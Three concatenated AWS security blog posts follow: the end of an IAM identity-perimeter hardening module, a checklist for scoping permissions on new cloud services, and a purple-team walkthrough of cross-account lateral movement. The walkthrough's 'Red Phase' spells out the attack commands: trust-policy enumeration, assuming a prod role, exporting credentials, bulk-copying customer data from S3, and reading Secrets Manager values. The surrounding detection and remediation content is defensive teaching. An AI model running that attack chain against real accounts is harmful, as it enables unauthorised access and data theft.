If the metadata service is one way the identity perimeter leaks, an over-permissioned IAM policy is the other — and it’s far more common, because it doesn’t require a bug at all. It only requires a policy written with "Resource": "*" because scoping it felt like it would slow down a deploy.

Least privilege means a role can do exactly what its function requires and nothing else — not “read-only across the account,” but “read this specific S3 prefix, write to this specific queue.”

Permission boundaries cap what a role can ever be granted, even by someone with iam:CreatePolicy access — a safety rail against exactly the kind of iam:PassRole privilege escalation covered in the Cloud IAM series, not just against the policy as originally written.

Service Control Policies (SCPs) apply at the AWS Organization level, capping what any role in an account can do regardless of how permissive that account’s own IAM policies are — the outermost layer of the identity perimeter, and the one that survives a single account being compromised.

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": ["s3:GetObject"],
    "Resource": "arn:aws:s3:::billing-invoices/tenant-4471/*"
  }]
}

That policy can only ever read one tenant’s invoice prefix. Compare it to "Resource": "arn:aws:s3:::billing-invoices/*" — functionally identical for the one use case the developer was testing, and catastrophically different the day this role’s credentials leak.

Quick Check: Can This Role Actually Do That?

Don’t wait to find out in production. aws iam simulate-principal-policy evaluates a specific action against a role’s actual attached and inline policies — including SCPs and permission boundaries — and gives you a definitive allow/deny before anything runs:

$ aws iam simulate-principal-policy \
    --policy-source-arn arn:aws:iam::123456789012:role/billing-api-role \
    --action-names s3:GetObject \
    --resource-arns arn:aws:s3:::billing-invoices/tenant-9982/*

{
  "EvaluationResults": [{
    "EvalActionName": "s3:GetObject",
    "EvalResourceName": "arn:aws:s3:::billing-invoices/tenant-9982/*",
    "EvalDecision": "explicitDeny",     # ← the answer you needed before deploying
    "MatchedStatements": [...]
  }]
}

explicitDeny here means some policy statement — the role’s own policy, a permission boundary, or an SCP — explicitly blocks the action, and that takes precedence over any Allow anywhere else in the policy chain (Module 1’s deny-by-default evaluation model, in practice). Run this simulation as part of code review for any new IAM policy, not after the role is already attached to a running service.

Catching This Before It Ships: Cloud-Native Hardening via IaC Scanning

Manually reviewing every Terraform IAM policy in every pull request doesn’t scale past a handful of engineers. checkov and tfsec scan infrastructure-as-code for exactly the patterns above — wildcard resources, IMDSv1 left enabled, public S3 buckets — as a CI step, before terraform apply ever runs:

$ checkov -d ./terraform --check CKV_AWS_79,CKV_AWS_8

Check: CKV_AWS_79: "Ensure Instance Metadata Service Version 1 is not enabled"
    FAILED for resource: aws_instance.billing_api
    File: main.tf:14-22

Check: CKV_AWS_8: "Ensure IAM policies do not allow full administrative privileges"
    FAILED for resource: aws_iam_role_policy.billing_api_policy
    File: iam.tf:8-15
        Resource: "*"

A failed checkov check blocking a pull request is the identity-perimeter equivalent of Stratum’s pipeline gate refusing to snapshot an unhardened image — the unsafe configuration never reaches an account where it can be exploited, because the check runs before merge, not after an audit finds it months later.

Production Gotchas

IMDSv2 enforcement can break old SDKs and tools silently. Some older AWS SDK versions and third-party agents assume IMDSv1 and simply fail to fetch credentials once HttpTokens: required is set — test in staging before enforcing account-wide.

iam simulate-principal-policy doesn’t account for resource-based policies on the target. It evaluates the principal’s policies correctly, but if the target (an S3 bucket, a KMS key) has its own resource policy denying access, you need simulate-custom-policy with both policies supplied to get the full picture.

SCPs fail closed in a way that’s easy to misdiagnose. An SCP deny produces the same AccessDenied error as a missing IAM permission — check the SCP layer explicitly before assuming the role’s own policy is the problem, or you’ll spend an hour widening a policy that was never the actual blocker.

checkov/tfsec false positives erode trust in the gate fast. Suppress specific, documented exceptions inline (#checkov:skip=CKV_AWS_79:reason) rather than disabling the check account-wide the first time it blocks something legitimate.

Framework Alignment

Key Takeaways

• The identity perimeter, not the network, is what cloud-native hardening actually secures — every IAM policy evaluation is a perimeter check
• IMDSv2 enforcement is the single highest-leverage fix available and should be an account-wide default, not an opt-in
• Least privilege, permission boundaries, and SCPs are three layers of the same perimeter — design all three deliberately, don’t rely on one
• aws iam simulate-principal-policy gives a definitive answer before deployment instead of an incident after
• IaC scanning turns identity-perimeter mistakes into blocked pull requests instead of production findings

What’s Next

Module 3 hardened the identity perimeter against external and lateral threats. Module 4 asks what happens after a perimeter fails anyway — specifically, how immutable, WORM-locked data architecture makes ransomware and mass-deletion attacks survivable even when an attacker has already gotten past every control this module covers.

Next: Module 4: Resilience & Survival — Immutable Data Architecture and Surviving Ransomware via WORM

Get the full masterclass in your inbox → linuxcent.com/subscribe

The post Cloud-Native Hardening: Securing the AWS Identity Perimeter appeared first on Linuxcent.

← EP12: Zero Trust Access in the Cloud · EP13: New-Service IAM Checklist · All Cloud IAM Episodes →

TL;DR

• New cloud service IAM permissions ship on GA day — often before your Terraform provider, internal IaC modules, or team wiki catch up
• The fast path is service:* on Resource: * — the tempting unblock, and also how wildcard debt starts (see EP09’s least-privilege audit)
• Five-step checklist: find the exact actions, scope the resource, dry-run before granting, attach a guardrail, and put a 30-day review on the calendar
• AWS has no single CLI call that lists “every action for a service” — use the Service Authorization Reference plus IAM Access Analyzer’s policy generation from real CloudTrail activity
• GCP’s gcloud iam list-testable-permissions returns the exact permissions grantable on a specific resource — scoped to what that resource type actually supports
• Azure’s az provider operation show --namespace Microsoft.<Service> lists every operation a resource provider exposes, before you write a single role assignment

The Big Picture

  NEW CLOUD SERVICE SHIPS — THE FIRST GRANT DECIDES THE NEXT YEAR

  Provider ships GA
         │
         ▼
  Team requests access ──────► Tempting shortcut: "service:*" on "*"
         │                      (unblocks today, becomes next year's
         │                       wildcard-debt line item in EP09's audit)
         ▼
  STEP 1 — Find the exact actions the task needs
         │   (Service Authorization Reference · list-testable-permissions ·
         │    provider operation show)
         ▼
  STEP 2 — Scope the resource, not the account
         │   (ARN pattern / resource URI / resource group — never "*")
         ▼
  STEP 3 — Dry-run before granting
         │   (simulate-principal-policy · policy-troubleshoot iam · what-if)
         ▼
  STEP 4 — Attach a guardrail, not just a grant
         │   (permission boundary / SCP · Org Policy · Azure Policy)
         ▼
  STEP 5 — Put a 30-day review on the calendar
         │   (provisional access, not permanent — EP09's audit is the
         │    backstop for whatever step 5 misses)
         ▼
  Access granted: scoped, guarded, and time-boxed

Introduction

New cloud service IAM permissions land the same day a provider ships something new — usually before your Terraform provider, your internal enablement docs, or anyone’s muscle memory has caught up. A team wants to use the new service today, and the fastest way to unblock them is a wildcard: service:* on Resource: *. It works immediately. It also never gets revisited.

I’ve seen this pattern enough times across AWS, GCP, and Azure environments to stop treating it as a one-off mistake and start treating it as a predictable failure mode. Every cloud provider ships new services and new API actions on existing services continuously — thousands of changes a year across the big three. IAM has to keep up with all of it, and nobody’s tooling updates same-day. The gap between “the service exists” and “the least-privilege policy for it exists” is where every wildcard grant in your account was born.

This episode is the checklist I use to close that gap before it becomes EP09’s least-privilege audit problem six months later.

Why This Keeps Happening

Cloud providers version their IAM action sets independently of their service launches. A service can go GA with its full action list, then add new actions for a feature shipped three months later — with no changelog most teams are subscribed to. Preview and beta services are worse: action names occasionally change between preview and GA, which means a policy scoped correctly during the beta can silently stop matching after the rename.

None of this is a documentation failure you can fix by reading more carefully. It’s a structural lag between provider release velocity and your policy review cycle. The fix isn’t reading faster — it’s having a checklist that runs the same way every time a new service shows up in a support ticket.

Step 1: Find the Exact Actions the Task Needs

AWS

AWS doesn’t expose a single CLI call that lists “every action for this service.” The two real sources:

1. The Service Authorization Reference — the canonical, per-service action/resource/condition-key list. Not a CLI, but the ground truth.
2. IAM Access Analyzer’s policy generation — build a least-privilege policy from what a role actually called, not from the full service action list:

# Let a trial role use the new service for a short period first, then generate
# a policy scoped to only the actions that were actually invoked
aws accessanalyzer start-policy-generation \
  --policy-generation-details principalArn=arn:aws:iam::123456789012:role/new-service-trial-role \
  --cloud-trail-details '{
    "trails": [{"cloudTrailArn": "arn:aws:cloudtrail:us-east-1:123456789012:trail/management-trail", "allRegions": true}],
    "accessRole": "arn:aws:iam::123456789012:role/AccessAnalyzerMonitorRole"
  }'

# Poll for the generated policy once the job completes
aws accessanalyzer get-generated-policy --job-id <JOB_ID>

For operators: this generates a policy from observed API calls, not theoretical need. Run the trial role for long enough to exercise every code path the team actually uses — a policy generated from five minutes of testing will be too narrow for production.

GCP

# Returns the exact permissions that CAN be granted on this specific resource —
# scoped to what that resource type supports, not the whole service
gcloud iam list-testable-permissions \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1

Reading the output: each returned permission is one your team might plausibly need — GCP won’t list permissions that don’t apply to this resource type. Cross-reference against the task at hand and grant only the subset actually required.

Azure

# Lists every operation (permission) a resource provider namespace exposes
az provider operation show \
  --namespace Microsoft.CognitiveServices \
  --query "[].{Operation:name, Description:display.description}" \
  -o table

This is the full menu for the namespace — most tasks need a handful of these operations, not all of them. Use it to find the exact operation string for a custom role definition rather than reaching for a built-in Contributor-level role.

Step 2: Scope the Resource, Not the Account

Finding the right action is half the job. The other half is refusing "Resource": "*".

// Bad — every foundation model, in every region, forever
{
  "Effect": "Allow",
  "Action": "bedrock:*",
  "Resource": "*"
}

// Better — scoped to the specific model family the team asked for
{
  "Effect": "Allow",
  "Action": ["bedrock:InvokeModel"],
  "Resource": "arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude*"
}

The same discipline applies in GCP (bind the role to the specific project or resource, not the organization) and Azure (scope the role assignment to the resource group, not the subscription). A new service is the easiest moment to get this right — there’s no existing wildcard grant to “just extend.”

Step 3: Dry-Run Before You Grant

Test the policy against the real action before it’s live.

# AWS: simulate whether a principal's policy allows a specific action on a specific resource
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:role/new-service-role \
  --action-names bedrock:InvokeModel \
  --resource-arns arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-v2

# GCP: Policy Troubleshooter — does this principal have this permission on this resource, and why (or why not)?
gcloud policy-troubleshoot iam \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1 \
  --principal-email=svc-new-service@my-project.iam.gserviceaccount.com \
  --permission=aiplatform.endpoints.predict

# Azure: preview what an IaC deployment (including role assignments) will change before applying it
az deployment group what-if \
  --resource-group rg-new-service \
  --template-file role-assignment.bicep

None of these grant access. All three tell you, before the grant is live, whether the policy you wrote actually does what you think it does.

Step 4: Attach a Guardrail, Not Just a Grant

A grant without a guardrail is one typo away from being an account-wide wildcard. Pair every new-service grant with a boundary that survives the next person copy-pasting the policy:

• AWS — a permission boundary on the role, or an SCP restricting the new service to specific OUs until it’s been reviewed
• GCP — an Org Policy constraint limiting resource locations or restricting which services can be enabled in the first place
• Azure — an Azure Policy assignment enforcing an allowed-services list at the subscription or management group level

The guardrail is what keeps “we scoped it correctly on day one” true after the policy gets copied into three other roles by someone who wasn’t in this conversation.

Step 5: Put a 30-Day Review on the Calendar

Treat every new-service grant as provisional, not permanent. A calendar reminder — not a ticket that can sit in a backlog — to check actual usage against granted permissions 30 days out.

This is the same discipline EP09’s least-privilege audit runs at the account level, applied at the moment of grant instead of six months later. Step 5 is what catches the case where the team’s actual usage turned out narrower than the trial period suggested — or wider, because the trial period didn’t exercise every path.

Production Gotchas

Quick Reference

Framework Alignment

Key Takeaways

• New cloud service IAM permissions ship on the provider’s schedule, not yours — the checklist has to run the same way every time, not only when someone remembers
• The fast path (service:* on *) is also the path to next year’s wildcard-debt finding — scope it once, at the point of grant, instead of unwinding it later
• AWS, GCP, and Azure each expose a different tool for discovering exact actions — none of them is “read the whole service’s docs and guess”
• A grant without a guardrail (permission boundary, SCP, Org Policy, Azure Policy) is one copy-paste away from becoming account-wide
• Provisional access needs an expiration built in from day one — a 30-day calendar review, not a hope that someone runs the audit eventually

What’s Next

This series doesn’t have a fixed episode count anymore — new cloud service IAM permissions are a continuous stream across AWS, GCP, and Azure, and this series continues covering them as they matter operationally, not on a fixed syllabus.

Get the next Cloud IAM episode in your inbox → linuxcent.com/subscribe

The post New Cloud Service IAM Permissions: A Checklist Before You Grant Access appeared first on Linuxcent.

What is purple team security? → OWASP Top 10 mapped to cloud infrastructure → Cloud security breaches 2020–2025 → Broken access control in AWS → MFA fatigue attacks → CI/CD secrets exposure → SSRF to cloud metadata → Kubernetes container escape → Supply chain attacks → Cloud Lateral Movement

TL;DR

• Cloud lateral movement IAM is OWASP A01: attackers move between cloud accounts by exploiting cross-account IAM trust relationships — no network pivoting, no exploit, just a valid sts:AssumeRole call
• The structural vulnerability is a trust policy scoped too broadly — arn:aws:iam::DEV_ACCOUNT:root instead of the specific Lambda execution role ARN — which lets any identity in the dev account assume the prod role
• The full attack chain: compromised Lambda in dev account → enumerate cross-account trust policies → aws sts assume-role into prod → access data lake S3 bucket → exfiltrate before detection fires
• CloudTrail is the primary detection surface: AssumeRole events where the principal account ID differs from the resource account ID are the signal; GuardDuty surfaces the pattern as Recon:IAMUser/UserPermissions
• AWS Access Analyzer automatically flags overly-broad cross-account trust policies — it should be running in every account in your organization, not just the management account
• The structural fix is three layers: scope trust policy to the specific source ARN, add ExternalId for confused deputy protection, and use AWS Organizations SCPs to restrict cross-account role assumptions to approved account pairs only

OWASP Mapping: A01 Broken Access Control — cross-account IAM trust policies that specify an entire account root as the principal, instead of a specific role ARN, give any identity in the source account the ability to pivot into the target account.

The Big Picture

┌─────────────────────────────────────────────────────────────────────┐
│               CROSS-ACCOUNT IAM LATERAL MOVEMENT                    │
│                                                                      │
│   DEV ACCOUNT (111111111111)                                         │
│   ┌────────────────────────────────────────────┐                    │
│   │  Lambda: api-processor                     │                    │
│   │  Execution Role: lambda-execution-role     │◄── COMPROMISED     │
│   │                                            │                    │
│   │  Attacker has: access key for this role    │                    │
│   └───────────────────┬────────────────────────┘                    │
│                        │                                             │
│                        │  sts:AssumeRole                             │
│                        │  (cross-account API call)                  │
│                        ▼                                             │
│   ┌─────────────────────────────────────────────┐                   │
│   │  TRUST POLICY CHECK (prod account role)     │                   │
│   │                                             │                   │
│   │  Principal: arn:aws:iam::111111111111:root  │                   │
│   │              ↑ TOO BROAD — any dev identity │                   │
│   └───────────────────┬─────────────────────────┘                   │
│                        │ ALLOW                                       │
│                        ▼                                             │
│   PROD ACCOUNT (222222222222)                                        │
│   ┌────────────────────────────────────────────┐                    │
│   │  Role: datalake-reader                     │                    │
│   │  Access: s3:GetObject on prod-datalake-*   │                    │
│   │          rds:Connect on prod-analytics-db  │                    │
│   │          secretsmanager:GetSecretValue      │                    │
│   └────────────────────┬───────────────────────┘                    │
│                         │                                            │
│                         ▼                                            │
│   customer-data.parquet, analytics schemas, DB credentials          │
│   ← exfiltrated in 23 minutes                                        │
└─────────────────────────────────────────────────────────────────────┘

Cloud lateral movement IAM attacks succeed because the authentication step — the sts:AssumeRole call — works exactly as designed. The Lambda’s identity is valid. The cross-account trust policy explicitly allows it. AWS faithfully issues the temporary credentials. The entire attack is indistinguishable from legitimate application behavior at the API level, which is why the trust policy is the only reliable prevention point.

The Incident: Dev Lambda to Prod Data Lake

Post-breach analysis. The attacker didn’t find a zero-day. They found a GitHub repository.

A developer had committed an .env file to a public repo containing AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY for a Lambda execution role in the dev account. GitHub’s secret scanning flagged it and notified the security team — but the notification arrived 58 minutes after the commit. By then, an automated credential scanner had already found it, validated the keys, and passed them to an attacker.

That 58-minute window is the entire story.

The Lambda’s execution role was scoped to the dev account, so initial triage assumed the blast radius was limited to dev. It wasn’t. A previous sprint had set up a cross-account trust relationship so the Lambda could read from the prod data lake during a data quality audit. The trust policy on the datalake-reader role in prod read:

"Principal": {"AWS": "arn:aws:iam::111111111111:root"}

Not the Lambda’s specific execution role ARN. The entire dev account root. Any identity in the dev account — including the one the attacker now held — could assume datalake-reader in prod.

The attacker enumerated cross-account roles from inside the compromised Lambda context, found the trust relationship, assumed the prod role, listed the data lake S3 bucket, and exfiltrated 14 GB of customer data parquet files before the first GuardDuty finding surfaced.

The revelation: cloud lateral movement doesn’t require network pivoting. It requires finding one IAM trust relationship that’s too broad.

The compromise of the dev Lambda was recoverable — rotate credentials, remediate the repo, done. The cross-account trust policy turned it into a prod data breach.

Red Phase: The Cross-Account Attack Chain

Step 1: Enumerate Trust Policies from a Compromised Role

An attacker’s first move inside a cloud environment is always the same: establish who they are and what they can reach.

aws sts get-caller-identity
# Returns:
# {
#   "UserId": "AROAIOSFODNN7EXAMPLE:function-name",
#   "Account": "111111111111",
#   "Arn": "arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name"
# }

# List roles in the current account and their trust policies
# The trust policy (AssumeRolePolicyDocument) shows who can assume each role
aws iam list-roles \
  --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]' \
  --output json | \
  jq '.[] | {
    role: .[0],
    principals: (.[1].Statement[].Principal.AWS // .[1].Statement[].Principal.Service)
  }'

# More targeted: find roles that have cross-account trust relationships
# Look for principal ARNs from a different account ID
aws iam list-roles --output json | \
  jq --arg own_account "111111111111" \
  '.Roles[] | 
    .AssumeRolePolicyDocument.Statement[] |
    select(.Principal.AWS? | 
      strings | 
      test($own_account) | not
    ) |
    {role: .Resource // "check-parent", principal: .Principal}'

# Simulate whether the current identity can assume a specific cross-account role
# This confirms the trust policy actually allows the assumption before trying it
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::111111111111:role/lambda-execution-role \
  --action-names sts:AssumeRole \
  --resource-arns arn:aws:iam::222222222222:role/datalake-reader \
  --query 'EvaluationResults[0].EvalDecision' \
  --output text
# Returns: allowed

Step 2: Assume the Cross-Account Role

# Assume the target role — this is the lateral movement step
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name "recon-$(date +%s)" \
  --query 'Credentials'
# Returns:
# {
#   "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
#   "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
#   "SessionToken": "IQoJb3JpZ2luX2...(truncated)",
#   "Expiration": "2024-01-15T14:32:00Z"
# }

# Export the credentials to use in subsequent commands
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2..."

# Confirm the new identity — now operating in prod account context
aws sts get-caller-identity
# {
#   "Account": "222222222222",  ← prod account
#   "Arn": "arn:aws:sts::222222222222:assumed-role/datalake-reader/recon-1705327920"
# }

Step 3: Enumerate and Exfiltrate from Prod

# What buckets are accessible from this role?
aws s3 ls

# Enumerate the data lake bucket
aws s3 ls --recursive s3://prod-datalake-bucket | \
  awk '{print $3, $4}' | \
  sort -rn | \
  head -20
# Shows: file sizes and paths
# 15728640  customer-data/2024/01/customer-data.parquet
# 8388608   analytics/sessions/session-events.parquet
# ...

# Exfiltrate — this is a single API call, logged in CloudTrail
aws s3 cp s3://prod-datalake-bucket/customer-data/2024/01/ /tmp/ \
  --recursive \
  --quiet

# Check for Secrets Manager access
aws secretsmanager list-secrets \
  --query 'SecretList[].{Name:Name,LastRotated:LastRotatedDate}' \
  --output table

aws secretsmanager get-secret-value \
  --secret-id prod/analytics-db/credentials \
  --query 'SecretString' \
  --output text

Step 4: Role Chaining — Staying in the Environment

Role chaining is assuming one role then using that session to assume another. It extends the attacker’s reach without returning to the original compromised identity.

# From the prod datalake-reader context, can we go further?
# Check what other roles trust this prod role, or what this role can assume
aws iam list-roles --output json | \
  jq '.Roles[] | 
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS? | 
      strings | 
      test("datalake-reader")
    ) | .RoleName'

# If the datalake-reader role has sts:AssumeRole permissions itself,
# the chain continues — each hop gets a fresh 1-hour session
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/analytics-admin \
  --role-session-name "second-hop-$(date +%s)"

Tools Attackers Use for Cloud Lateral Movement Enumeration

Pacu (Rhino Security Labs): Modular AWS exploitation framework. The iam__enum_users_roles_policies_groups and iam__privesc_scan modules map the full IAM graph and identify assumption paths automatically.

# Pacu: enumerate IAM and find assumable roles
pacu
> run iam__enum_users_roles_policies_groups
> run iam__privesc_scan

CloudFox (Bishop Fox): Designed specifically for finding attack paths in cloud environments. The assume-role command enumerates all roles the current identity can assume, including cross-account.

# CloudFox: find all roles assumable from current identity
cloudfox aws -p target-profile assume-role -v2

# CloudFox: find all cross-account trust relationships
cloudfox aws -p target-profile resource-trusts -v2

aws-recon: Broad enumeration tool that maps IAM, S3, EC2, RDS, Secrets Manager, and trust relationships across accounts in a single pass.

Blue Phase: Detection

CloudTrail Signal: Cross-Account AssumeRole

Every sts:AssumeRole call is logged in CloudTrail. Cross-account calls are the specific signal to filter for.

# Query CloudTrail for cross-account AssumeRole events in the last 24 hours
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time "$(date -d '24 hours ago' --iso-8601=seconds)" \
  --output json | \
  jq '.Events[].CloudTrailEvent | fromjson |
    select(
      .requestParameters.roleArn != null and
      (.userIdentity.accountId != null) and
      (.requestParameters.roleArn | test(.userIdentity.accountId) | not)
    ) |
    {
      time: .eventTime,
      source_identity: .userIdentity.arn,
      source_account: .userIdentity.accountId,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }'

The CloudTrail event structure for a cross-account assumption looks like this:

{
  "eventSource": "sts.amazonaws.com",
  "eventName": "AssumeRole",
  "userIdentity": {
    "type": "AssumedRole",
    "accountId": "111111111111",
    "arn": "arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name"
  },
  "requestParameters": {
    "roleArn": "arn:aws:iam::222222222222:role/datalake-reader",
    "roleSessionName": "recon-1705327920"
  },
  "sourceIPAddress": "203.0.113.42",
  "userAgent": "aws-cli/2.13.0 Python/3.11.0 Linux/5.15.0"
}

The key fields: userIdentity.accountId is 111111111111 (dev), requestParameters.roleArn contains 222222222222 (prod). Those two account IDs not matching is the cross-account signal.

A fresh compromise indicator: userAgent showing aws-cli for a role that normally only calls AWS APIs from Lambda runtime (which uses the Python SDK and shows a different user agent). Lambda functions don’t call the CLI — if you see aws-cli user agent on a Lambda role, that’s a human or automated tool using stolen credentials.

Athena Query: Cross-Account Assumptions Across the Organization

-- Athena against S3-backed CloudTrail logs (org-level trail)
-- Finds all cross-account AssumeRole events in the past 7 days
SELECT
  eventtime,
  useridentity.accountid AS source_account,
  useridentity.arn AS source_identity,
  requestparameters['roleArn'] AS target_role,
  sourceipaddress,
  useragent,
  -- Flag: session created quickly after identity first seen (fresh compromise)
  CASE
    WHEN DATEDIFF(
      'minute',
      CAST(eventtime AS timestamp),
      CURRENT_TIMESTAMP
    ) < 300 THEN 'RECENT'
    ELSE 'AGED'
  END AS session_age
FROM cloudtrail_logs
WHERE
  eventsource = 'sts.amazonaws.com'
  AND eventname = 'AssumeRole'
  AND errorcode IS NULL
  AND from_iso8601_timestamp(eventtime) > current_timestamp - interval '7' day
  -- Cross-account: source account ID not in the target role ARN
  AND useridentity.accountid NOT IN (
    SELECT DISTINCT
      REGEXP_EXTRACT(requestparameters['roleArn'], 'arn:aws:iam::(\d+):', 1)
    FROM cloudtrail_logs
    WHERE eventname = 'AssumeRole'
  )
ORDER BY eventtime DESC;

GuardDuty Findings for IAM Lateral Movement

GuardDuty surfaces the following finding types relevant to cross-account lateral movement:

# Pull active GuardDuty findings scoped to IAM lateral movement indicators
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)

aws guardduty list-findings \
  --detector-id "${DETECTOR_ID}" \
  --finding-criteria '{
    "Criterion": {
      "type": {
        "Equals": [
          "Recon:IAMUser/UserPermissions",
          "PrivilegeEscalation:IAMUser/AdministrativePermissions",
          "CredentialAccess:IAMUser/AnomalousBehavior",
          "Exfiltration:S3/ObjectRead.Unusual"
        ]
      },
      "severity": {
        "GreaterThanOrEqualTo": 4
      }
    }
  }' \
  --query 'FindingIds' --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id "${DETECTOR_ID}" \
    --finding-ids | \
  jq '.Findings[] | {
    type: .Type,
    severity: .Severity,
    account: .AccountId,
    resource: .Resource.AccessKeyDetails.UserName,
    created: .CreatedAt
  }'

AWS Access Analyzer: Automated Trust Policy Audit

Access Analyzer scans all resource-based policies in the account and flags any that grant access to principals outside the account or organization. It surfaces the vulnerable trust policy before an attacker finds it.

# List all Access Analyzer findings — these are cross-account or public access grants
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query 'analyzers[0].arn' --output text)

aws accessanalyzer list-findings \
  --analyzer-arn "${ANALYZER_ARN}" \
  --filter '{"status": {"eq": ["ACTIVE"]}}' \
  --output json | \
  jq '.findings[] | {
    id: .id,
    resource_type: .resourceType,
    resource: .resource,
    principal: .principal,
    action: .action,
    condition: .condition,
    created: .createdAt
  }'

An Access Analyzer finding for the vulnerable trust policy looks like:

{
  "id": "a1b2c3d4-...",
  "resourceType": "AWS::IAM::Role",
  "resource": "arn:aws:iam::222222222222:role/datalake-reader",
  "principal": {"AWS": "arn:aws:iam::111111111111:root"},
  "action": ["sts:AssumeRole"],
  "condition": {},
  "status": "ACTIVE"
}

The arn:aws:iam::111111111111:root principal with no condition block is the flag — the entire dev account, no restrictions.

Purple Phase: Structural Fixes

Fix 1: Scope the Trust Policy to the Specific Source ARN

This is the primary fix. The trust policy should name the exact role that needs access, not the account root.

// BAD — allows any identity in the dev account to assume this role
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::111111111111:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

// GOOD — only the specific Lambda execution role can assume this role
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::111111111111:role/api-processor-lambda-execution-role"
      },
      "Action": "sts:AssumeRole",
      "Condition": {
        "StringEquals": {
          "sts:ExternalId": "prod-datalake-access-v1"
        }
      }
    }
  ]
}

# Update an existing trust policy to scope it properly
aws iam update-assume-role-policy \
  --role-name datalake-reader \
  --policy-document file://scoped-trust-policy.json

Fix 2: Add ExternalId for Confused Deputy Protection

ExternalId is a shared secret between the two parties establishing the cross-account trust. When the source role calls sts:AssumeRole, it must provide the ExternalId value, or the assumption is denied.

This protects against the confused deputy problem: an attacker who compromises a role that legitimately trusts your role cannot exploit that trust without also knowing the ExternalId.

# Source (dev Lambda) must pass ExternalId when assuming the prod role
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name "api-processor-job" \
  --external-id "prod-datalake-access-v1"
# If ExternalId is wrong or absent: error — not authorized to assume role

The limitation: ExternalId does not help if the source account itself is compromised and the attacker has access to the application code or environment variables that contain the ExternalId value. It adds friction for opportunistic attackers and covers the confused deputy scenario — it is not a substitute for scoping the principal ARN.

Fix 3: Organizations SCPs to Restrict Cross-Account Assumptions

Service Control Policies at the AWS Organizations level can restrict which accounts are allowed to assume roles in which other accounts. This is the enforcement layer that cannot be bypassed by any identity inside a member account.

// SCP: Only allow cross-account role assumptions between approved account pairs
// Attach to the prod account's OU
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RestrictCrossAccountAssumeRole",
      "Effect": "Deny",
      "Action": "sts:AssumeRole",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalAccount": [
            "111111111111",
            "333333333333"
          ]
        },
        "BoolIfExists": {
          "aws:PrincipalIsAWSService": "false"
        }
      }
    }
  ]
}

This SCP denies any sts:AssumeRole call that originates from an account not in the approved list. Even if someone adds a new trust policy in prod that allows an arbitrary external account, the SCP blocks the call at the organization level.

Fix 4: Enable Access Analyzer Organization-Wide

Access Analyzer should run with an organization-level analyzer, not just per-account. The organization analyzer has visibility across all member accounts and flags cross-account trust policies automatically.

# Create an organization-level analyzer (run from the management account)
aws accessanalyzer create-analyzer \
  --analyzer-name org-wide-access-analyzer \
  --type ORGANIZATION \
  --tags '{"Environment": "production", "Team": "security"}'

# List active findings organization-wide
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query "analyzers[?type=='ORGANIZATION'].arn | [0]" \
  --output text)

aws accessanalyzer list-findings \
  --analyzer-arn "${ANALYZER_ARN}" \
  --filter '{"resourceType": {"eq": ["AWS::IAM::Role"]}, "status": {"eq": ["ACTIVE"]}}' \
  --output json | \
  jq '.findings[] | {resource: .resource, principal: .principal}'

Fix 5: Prefer OIDC Workload Identity Over Cross-Account Roles

Where the access pattern allows it, replacing the cross-account role with OIDC workload identity eliminates the static trust relationship entirely. A Lambda function with an OIDC identity can authenticate to the prod account by exchanging a token, without any persistent trust policy entry that an attacker could enumerate and exploit.

The federated identity trust boundaries approach using OIDC workload identity removes the assumable role from the attack surface completely — there is no trust policy to misscope, no role ARN to enumerate, and no sts:AssumeRole call in CloudTrail to detect because the assumption never happens.

Fix 6: Enable GuardDuty Cross-Account Threat Detection at Org Level

GuardDuty with multi-account management via AWS Organizations correlates threat signals across accounts. A pattern that looks like routine IAM activity in isolation — role assumption, S3 ListBucket, GetObject — reads as a lateral movement sequence when correlated across dev and prod accounts.

# Enable GuardDuty for all accounts in the organization (from management account)
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)

aws guardduty update-organization-configuration \
  --detector-id "${DETECTOR_ID}" \
  --auto-enable \
  --data-sources '{
    "S3Logs": {"AutoEnable": true},
    "Kubernetes": {"AuditLogs": {"AutoEnable": true}},
    "MalwareProtection": {"ScanEc2InstanceWithFindings": {"AutoEnable": true}}
  }'

Production Gotchas

ExternalId doesn’t protect you if the source account is compromised. The attacker who holds the dev Lambda’s execution role credentials also has access to the Lambda’s environment variables and source code — where the ExternalId value is likely stored. ExternalId is not a secret the attacker can’t reach; it is a value the legitimate caller passes to prove it initiated the request. Scope the principal ARN first; add ExternalId as a second layer.

